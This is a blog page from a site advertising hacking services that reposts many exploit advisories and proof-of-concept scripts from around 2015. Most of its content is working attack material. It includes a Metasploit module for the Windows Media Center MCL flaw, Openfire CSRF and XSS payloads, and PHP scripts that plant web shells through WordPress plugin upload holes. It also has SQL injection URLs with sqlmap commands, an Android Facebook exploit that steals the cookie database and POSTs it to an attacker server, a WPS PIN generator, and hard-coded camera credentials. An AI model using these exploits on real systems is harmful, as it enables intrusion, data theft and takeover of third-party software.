Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863606798

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS15-100 Microsoft Windows Media Center MCL Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in Windows Media Center. By supplying
        an UNC path in the *.mcl file, a remote file will be automatically downloaded,
        which can result in arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r',
        ],
      'References'     =>
        [
          ['CVE', '2015-2509'],
          ['MSB', 'MS15-100']
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'false'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 8 2015",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']),
          OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe'])
        ], self.class)

      deregister_options('FILE_CONTENTS')
  end

  def generate_mcl
    %Q|<application run="#{unc}" />|
  end

  def primer
    self.file_contents = generate_payload_exe
    print_status("Malicious executable at #{unc}...")

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    mcl = generate_mcl
    file_create(mcl)
  end

end
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-CSRF.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).


Vulnerability Type:
=================================
Cross site request forgery (CSRF)



CVE Reference:
==============
N/A





Vulnerability Details:
=====================
No CSRF tokens exists allowing us to take malicious actions against the
application.

1- change admin password.

2- add aribitrary users to the system

3- edit server settings e.g. turn off SSL.

4- Add rogue malicious clients with permit access (Allow all XMPP clients
to connect)

and more...



Exploit code(s):
===============

1) change admin password

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

<form id="HELL" action="http://localhost:9090/user-password.jsp"
method="post">
<input type="text" name="username" value="admin" >
<input type="text" name="password" value="abc123">
<input type="text" name="passwordConfirm" value="abc123" >
<input type="password" name="update" value="Update+Password" >
</form>


2) add aribitrary users
http://localhost:9090/user-create.jsp?username=hyp3rlinx&name=hyp3rlinx&email=blasphemer@abyss.com&password=abc123&passwordConfirm=abc123&create=Create+User


3) edit server settings & turn off SSL
http://localhost:9090/server-props.jsp?serverName=myserver&sslEnabled=false&save=Save+Properties


4) add rogue malicious clients
http://localhost:9090/plugins/clientcontrol/permitted-clients.jsp?all=false&other=http%3A//maliciouso.com/666.exe&addOther=Add



Disclosure Timeline:
=========================================================
Vendor Notification:  NA
Sept 14, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+]  POST & GET


Vulnerable Product:             [+]  Openfire 3.10.2


Vulnerable Parameter(s):        [+]  update, create, sslEnabled, other


Affected Area(s):               [+]  Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-XSS.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Persistent & Reflected XSS


CVE Reference:
==============
N/A



Vulnerability Details:
=====================

1) Persistent XSS exists when creating an Group Chat Bookmark, XSS will
execute each time victim accesses
the 'Group Chat Bookmarks' web page vuln parameter 'groupchatName' XSS will
be stored in 'ofbookmark'
table in 'bookmarkName' column of the MySQL DB and will be under
boomarkType as 'group_chat'.


2) Persistent XSS exists when creating URL Bookmarks, vuln parameter
'urlName' XSS will be stored in 'ofbookmark' table in
'bookmarkName' column of the MySQL DB will be under column boomarkType as
'url'.


3) Reflected XSS entry point exists in search parameter, script tags fail
but we can defeat using onMouseMove() JS function.


Exploit code(s):
===============

1) persistent XSS:
http://localhost:9090/plugins/clientcontrol/create-bookmark.jsp?type=group_chat

Inject <script>alert(666)</script> payload into the 'Group Chat Name' field
then click 'Create'.


2) persistent XSS:
http://localhost:9090/plugins/clientcontrol/create-bookmark.jsp?type=url

Inject <script>alert('HELL')</script> payload into the 'URL Name' field
then click 'Create'.


3) Reflected XSS:
http://localhost:9090/server-session-details.jsp?hostname=
"/><script>alert(666)</script>


4) Reflected XSS:
http://localhost:9090/group-summary.jsp?search="
onMouseMove="alert('hyp3rlinx')



Disclosure Timeline:
=========================================================

Vendor Notification:  NA
Sept 14, 2015  : Public Disclosure




Exploitation Technique:
=======================
Local & Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+]  POST & GET


Vulnerable Product:             [+]  Openfire 3.10.2


Vulnerable Parameter(s):        [+]  groupchatName, urlName, hostname,
search


Affected Area(s):               [+]  Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-PRIV-ESCALATION.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Privilege escalation



CVE Reference:
==============
N/A




Vulnerability Details:
=====================
No check is made when updating the user privileges, allowing regular user
to become an admin.
Escalation can be done remotely too if user is logged in as no CSRF token
exist.





Exploit code(s):
===============

Become admin!

http://localhost:9090/user-edit-form.jsp?username=hyp3rlinx&save=true&name=blasphemer&email=ghostofsin@abyss.com&isadmin=on




Disclosure Timeline:
=========================================================

Vendor Notification: NA
Sept 14, 2015 : Public Disclosure




Exploitation Technique:
=======================
Local or Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+] GET


Vulnerable Product:             [+] Openfire 3.10.2


Vulnerable Parameter(s):        [+] isadmin


Affected Area(s):               [+] Admin


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
source: https://www.securityfocus.com/bid/57173/info

Facebook for Android is prone to an information-disclosure vulnerability.

Successful exploits allows an attacker to gain access to sensitive information. Information obtained may aid in further attacks.

Facebook for Android 1.8.1 is vulnerable; other versions may also be affected.

++++++ Attacker's app (activity) ++++++
  
  // notice: for a successful attack, the victim user must be logged-in
  // to Facebook in advance.
  public class AttackFacebook extends Activity {

      // package name of Facebook app
      static final String FB_PKG = "com.facebook.katana";
  
      // LoginActivity of Facebook app
      static final String FB_LOGIN_ACTIVITY
           = FB_PKG + ".LoginActivity";
  
      // FacebookWebViewActivity of Facebook app
      static final String FB_WEBVIEW_ACTIVITY
           = FB_PKG + ".view.FacebookWebViewActivity";
  
      @Override
      public void onCreate(Bundle bundle) {
          super.onCreate(bundle);
          attack();
      }
  
      // main method
      public void attack() {
          // create continuation_intent to call FacebookWebViewActivity.
          Intent contIntent = new Intent();
          contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY);
          // URL pointing to malicious local file.
          // FacebookWebViewActivity will load this URL into its WebView.
          contIntent.putExtra("url", "file:///sdcard/attack.html");
  
          // create intent to be sent to LoginActivity.
          Intent intent = new Intent();
          intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY);
          intent.putExtra("login_redirect", false);
  
          // put continuation_intent into extra data of the intent.
          intent.putExtra(FB_PKG + ".continuation_intent", contIntent);
  
          // call LoginActivity
          this.startActivity(intent);
      }
  }

  ++++++ Attacker's HTML/JavaScript file ++++++
  
  <!--
  attacker's app should put this file to /sdcard/attack.html in advance
  -->
 <html>
  <body onload="doAttack()">
  <h1>attack.html</h1>
  <script>
  // file path to steal. webview.db can be a good target for attackers
  // because it contains cookies, formdata etc.
  var target = "file:///data/data/com.facebook.katana/databases/webview.db";
  
  // get the contents of the target file by XHR
  function doAttack() {
      var xhr1 = new XMLHttpRequest();
      xhr1.overrideMimeType("text/plain; charset=iso-8859-1");
      xhr1.open("GET", target);
      xhr1.onreadystatechange = function() {
          if (xhr1.readyState == 4) {
              var content = xhr1.responseText;
              // send the content of the file to attacker's server
              sendFileToAttackerServer(content);
              // for debug
              document.body.appendChild(document.createTextNode(content));
          }
      };
      xhr1.send();
  }
  
  // Send the content of target file to the attacker's server
  function sendFileToAttackerServer(content) {
      var xhr2 = new XMLHttpRequest();
      xhr2.open("POST", "http://www.example.jp/";);
      xhr2.send(encodeURIComponent(content));
  }
  </script>
  </body>
  </html>
HireHackking 
source: https://www.securityfocus.com/bid/57169/info

Havalite CMS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Havalite CMS 1.1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/?p=1 "comment" with value %E2%80%9C%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
HireHackking 
source: https://www.securityfocus.com/bid/57156/info

TomatoCart is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and create files with arbitrary shell script which may aid in further attacks.

TomatoCart versions 1.1.5 and 1.1.8 are vulnerable. 

POST /admin/json.php HTTP/1.1
Host: localhost
Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14
Content-Type: application/x-www-form-urlencoded
Content-Length: 195

module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?>
HireHackking 
source: https://www.securityfocus.com/bid/57145/info

WHMCS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks.

WHMCS 5.0 and 5.1 are vulnerable; other versions may also be affected. 

http://www.example.com/whmcs/admin/login.php?correct&cache=1?login=getpost{}
HireHackking 
source: https://www.securityfocus.com/bid/57152/info

Multiple themes from WPScientist for WordPress are prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

The following themes are vulnerable:

Lightspeed version 1.1.2
Eptonic version 1.4.3
Nuance version 1.2.3 

=================== EXPLOIT====================
<?php

$uploadfile="bangla.php"; 
$ch =
curl_init("http://www.example.com/wordpress/VALUMS_UPLOADER_PATH/php.php");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access: http://www.example.com/wp-content/uploads/2013/01/bangla.php
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-CP_IKEVIEW-0911.txt



Vendor:
================================
www.checkpoint.com



Product:
================================
IKEView.exe Fox beta 1

IKEVIew.EXE is used to inspect - internet private key exchanges on the Firewall
phase(1 & 2) packets being exchanged with switches and gateways.



Vulnerability Type:
======================
Stack Buffer Overflow



CVE Reference:
==============
N/A



Vulnerability Details:
=====================
IKEView.exe is vulnerable to local stack based buffer overflow when parsing
an malicious (internet key exchange) ".elg" file.
Vulnerability causes nSEH & SEH pointer overwrites at 4448 bytes after
IKEView parses our malicious file, which may result then
result in arbitrary attacker supplied code execution.


quick GDB register dump:
------------------------

EAX 00000000
ECX 41414141
EDX 7774B4AD ntdll.7774B4AD
EBX 00000000
ESP 0018E0E0
EBP 0018E100
ESI 00000000
EDI 00000000
EIP 41414141
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)

-----------SEH Chain---------

0:000> !exchain
0018f870: 42424242
Invalid exception stack at 41414141
0:000>
0018f870: 42424242
Invalid exception stack at 41414141
0:000>

0018F868 |02004AE0 àJ. ASCII "File loaded in 08 minutes, 01 seconds."
0018F86C |41414141 AAAA
0018F870 |41414141 AAAA Pointer to next SEH record
0018F874 |42424242 BBBB SE handler


Quick Buffer Overflow POC :
===========================


1) Below python file to create POC save as .py it will generate POC file,
open in IKEView.exe and KABOOOOOOOOOOOOOOOOOOOOM!

seh="B"*4 #<----------will overwrite SEH with bunch of 42's HEX for 'B'
ASCII char.

file="C:\\IKEView-buffer-overflow.elg"
x=open(file,"w")
payload="A"*4444+seh
x.write(payload)
x.close()

print "\n=======================================\n"
print " IKEView-buffer-overflow.elg file created\n"
print " hyp3rlinx ..."
print "=========================================\n"



Exploitation Technique:
=======================
Local



Severity Level:
=========================================================
High



Description:
==========================================================


Vulnerable Product: [+] IKEView.exe Fox beta 1


Vulnerable File Type: [+] .elg


Affected Area(s): [+] Local OS


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
source: https://www.securityfocus.com/bid/57128/info

Belkin Wireless Router is prone to a security vulnerability that may allow attackers to generate a default WPS PIN.

Successfully exploiting this issue may allow attackers to generate the default WPS PIN. This may lead to other attacks.

Belkin N900 F9K1104v1 is vulnerable; other versions may also be affected.

@author       : e.novellalorente@student.ru.nl
Original work : ZhaoChunsheng 04/07/2012
 
'''
 
import sys
 
VERSION    = 0
SUBVERSION = 2
 
def usage():
    print "[+] WPSpin %d.%d " % (VERSION, SUBVERSION)
    print "[*] Usage : python WPSpin.py 123456"
    sys.exit(0)
 
def wps_pin_checksum(pin):
    accum = 0
 
    while(pin):
        accum += 3 * (pin % 10)
        pin /= 10
        accum += pin % 10
        pin /= 10
    return  (10 - accum % 10) % 10
 
try:
    if (len(sys.argv[1]) == 6):
        p = int(sys.argv[1] , 16) % 10000000
        print "[+] WPS pin is : %07d%d" % (p, wps_pin_checksum(p))
    else:
        usage()
except Exception:
    usage()
HireHackking 
source: https://www.securityfocus.com/bid/57112/info

The Uploader plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Uploader 1.0.4 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$uploadfile="lo.php";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/uploader/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/wordpress/wp-content/uploads",
'fileext'=>'php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.example.com/wordpress/wp-content/uploads/lo.php

lo.php
<?php
phpinfo();
?>
HireHackking 
source: https://www.securityfocus.com/bid/57111/info
 
osTicket is prone to multiple input-validation vulnerabilities including:
 
1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities
 
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
 
osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.

http://www.example.com/learn/ostickRC/scp/tickets.php?a=export&h=9c2601b88c05055b51962b140f5121389&status=%22%20onmouseover=%22alert%281%29%22
HireHackking 
source: https://www.securityfocus.com/bid/57111/info

osTicket is prone to multiple input-validation vulnerabilities including:

1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities

An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.

http://www.example.com/learn/ostickRC/scp/l.php?url=http://www.example2.com
HireHackking 
source: https://www.securityfocus.com/bid/57101/info
  
The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportaccounts.php?reqID=1' or 1='1
HireHackking 
source: https://www.securityfocus.com/bid/57101/info
 
The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1
HireHackking 
source: https://www.securityfocus.com/bid/57101/info

The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php?reqID=1' or 1='1
HireHackking 
source: https://www.securityfocus.com/bid/57098/info

The Xerte Online plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Xerte Online 0.32 is vulnerable; other versions may also be affected.

##################################################
# Description : Wordpress Plugins - Xerte Online Arbitrary File Upload Vulnerability
# Version : 0.32
# Link : http://wordpress.org/extend/plugins/xerte-online/
# Plugins : http://downloads.wordpress.org/plugin/xerte-online.0.32.zip
# Date : 30-12-2012
# Google Dork : inurl:/wp-content/plugins/xerte-online/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################

Exploit :

PostShell.php
<?php

$code = "[CODE PHP]";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/save.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('filename'=>"/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php",
                'filedata'=>"$code"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>


Shell Access :
http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-RFI.txt



Vendor:
================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).


Vulnerability Type:
=================================
Remote File Inclusion



CVE Reference:
==============
N/A





Vulnerability Details:
=====================

In "available-plugins.jsp" there is no validation for plugin downloads,
allowing arbitrary file downloads
from anywhere on the internet.

On line 40: all that needs to be satisfied is the paramater is not null.

boolean downloadRequested = request.getParameter("download") != null;
String url = request.getParameter("url");


If the above condition check returns true, the application downloads
whatever file you give it.

line 54:

    if (downloadRequested) {
        // Download and install new plugin
        updateManager.downloadPlugin(url);
        // Log the event
        webManager.logEvent("downloaded new plugin from "+url, null);
    }




Exploit code(s):
================

1) download arbitrary filez

e.g.

http://localhost:9090/available-plugins.jsp?download=1&url=http://ghostofsin.abyss/abysmalgod.exe

Our RFI will be downloaded to "openfire\plugins" directory.




Disclosure Timeline:
=========================================================
Vendor Notification:  NA
Sept 14, 2015  : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
=========================================================
High



Description:
==========================================================


Request Method(s):              [+]  GET


Vulnerable Product:             [+]  Openfire 3.10.2


Vulnerable Parameter(s):        [+]  download, url


Affected Area(s):               [+]  Server


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
source: https://www.securityfocus.com/bid/57064/info

cPanel is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/frontend/x3/files/dir.html?showhidden=1&dir=%3Cimg%20src=x%20onerror=prompt%280%29;%3E
HireHackking 
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-FILE-UPLOAD.txt



Vendor:
=========================================
www.igniterealtime.org/projects/openfire
www.igniterealtime.org/downloads/index.jsp



Product:
================================
Openfire 3.10.2

Openfire is a real time collaboration (RTC) server licensed under the Open
Source Apache License.
It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber).



Vulnerability Type:
===================
Unrestricted File Upload



CVE Reference:
==============
N/A




Vulnerability Details:
=====================

Application specifies Plugin files (.jar) can be uploaded directly by using
the form, however so can the following.

.exe
.php
.jsp
.py
.sh



Exploit code(s):
===============

1) choose some malicious file using the File browser
2) click 'upload plugin'

http://localhost:9090/plugin-admin.jsp

Our malicious uploaded files will be stored under /openfire/plugins
directory.



Disclosure Timeline:
=========================================================

Vendor Notification:  NA
Sept 14, 2015 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
=========================================================
Medium



Description:
==========================================================


Request Method(s):              [+] POST


Vulnerable Product:             [+] Openfire 3.10.2


Vulnerable Parameter(s):        [+] fileName


Affected Area(s):               [+] Server


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
HireHackking 
# Exploit Title: WordPress: cp-reservation-calendar 1.1.6  SQLi injection]
# Date: 2015-09-15
# Google Dork: Index of /wp-content/plugins/cp-reservation-calendar/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Software Link: https://downloads.wordpress.org/plugin/cp-reservation-calendar.zip
# Version: 1.1.6
# OWASP Top10: A1-Injection

A vulnerability has been detected in the WordPress cp reservation calendar Plugin v1.6.
The vulnerability allows remote attackers to inject SQL commands.
The sql injection vulnerability is located in the `dex_reservations.php` file.
Remote attackers are able to execute own sql commands by manipulation of requested parameters. 

The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.6.
Exploitation of the remote sql injection web vulnerability requires no user interaction or privilege web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

============================
vulnerable function code...
============================

function dex_reservations_calendar_load2() {
    global $wpdb;
	if ( ! isset( $_GET['dex_reservations_calendar_load2'] ) || $_GET['dex_reservations_calendar_load2'] != '1' )
		return;
    @ob_clean();
    header("Cache-Control: no-store, no-cache, must-revalidate");
    header("Pragma: no-cache");

    //following line is vulnerable...

    $calid = str_replace  (TDE_RESERVATIONCAL_PREFIX, "",$_GET["id"]);
    $query = "SELECT * FROM ".TDE_RESERVATIONCALENDAR_DATA_TABLE." where ".TDE_RESERVATIONDATA_IDCALENDAR."='".$calid."'";
    $row_array = $wpdb->get_results($query,ARRAY_A);
    foreach ($row_array as $row)
    {        
        $d1 =  date("m/d/Y", strtotime($row[TDE_RESERVATIONDATA_DATETIME_S])); 
        $d2 =  date("m/d/Y", strtotime($row[TDE_RESERVATIONDATA_DATETIME_E]));

        echo $d1."-".$d2."\n";
        echo $row[TDE_RESERVATIONDATA_TITLE]."\n";
        echo $row[TDE_RESERVATIONDATA_DESCRIPTION]."\n*-*\n";
    }

    exit();
}

The following URL executes vulnerable function:

http://localhost/wordpress/?action=dex_reservations_calendar_load2&dex_reservations_calendar_load2=1&id=1
------------------------------------------------------------------------------------
POC using sqlmap tool::::

python sqlmap.py --url="http://localhost/wordpress/?action=dex_reservations_calendar_load2&dex_reservations_calendar_load2=1&id=1"
 -p id --level=5 --risk=3 --dbms="MySQL" --dbs

##########################################################################

The following URL is too vulnerable

http://localhost/wordpress/?action=dex_reservations_check_posted_data

post parameters::::
-------------------------------------
dex_reservations_post=1&dex_item=1
------------------------------------

An unauthenticated user can use the following URL to inject malicious SQL code.
[dex_item] on POST parameter is vulnerable

======================
   vulnerable code 
=====================

is located in `dex_reservations.php`

function code..

function dex_reservations_get_option ($field, $default_value)
{
    global $wpdb, $dex_option_buffered_item, $dex_option_buffered_id;
    if ($dex_option_buffered_id == CP_CALENDAR_ID)
        $value = $dex_option_buffered_item->$field;
    else
    {
       $myrows = $wpdb->get_results( "SELECT * FROM ".DEX_RESERVATIONS_CONFIG_TABLE_NAME." WHERE id=".CP_CALENDAR_ID );
       $value = $myrows[0]->$field;
       $dex_option_buffered_item = $myrows[0];
       $dex_option_buffered_id  = CP_CALENDAR_ID;
    }
    if ($value == '' && $dex_option_buffered_item->calendar_language == '')
        $value = $default_value;
    return $value;
}


When this function is called the defined CP_CALENDAR_ID must contains an integer but it isn't validating the parameter
[ CP_CALENDAR_ID ]
---------------------------------------------------------------------------- 
POC using sqlmap tool::::

python sqlmap.py --url="http://localhost/wordpress/?action=dex_reservations_check_posted_data" --data="dex_reservations_post=1&dex_item=1"
 -p dex_item --dbms="MySQL" --level=5 --risk=3


 #############
 time-line

 2015-03-01: vulnerability found
 2015-03-09: reported to vendor
 2015-03-21-: released cp_reservation_calendar v1.1.7
 2015-09-15: full disclosure
HireHackking 
TP-Link NC200/NC220 Cloud Camera 300Mbps Wi-Fi Hard-Coded Credentials
Vendor: TP-LINK Technologies Co., Ltd.
Product web page: http://www.tp-link.us
Affected version: NC220 V1 1.0.28 Build 150629 Rel.22346
                  NC200 V1 2.0.15 Build 150701 Rel.20962

Summary: Designed with simplicity in mind, TP-LINK's Cloud Cameras are a
fast and trouble free way to keep track on what's going on in and around
your home. Video monitoring, recording and sharing has never been easier
with the use of TP-LINK’s Cloud service. The excitement of possibilities
never end.

Desc: NC220 and NC200 utilizes hard-coded credentials within its Linux
distribution image. These sets of credentials (root:root) are never exposed
to the end-user and cannot be changed through any normal operation of the
camera.

Tested on: Linux


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5255
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5255.php


20.07.2015

--


Initializing...
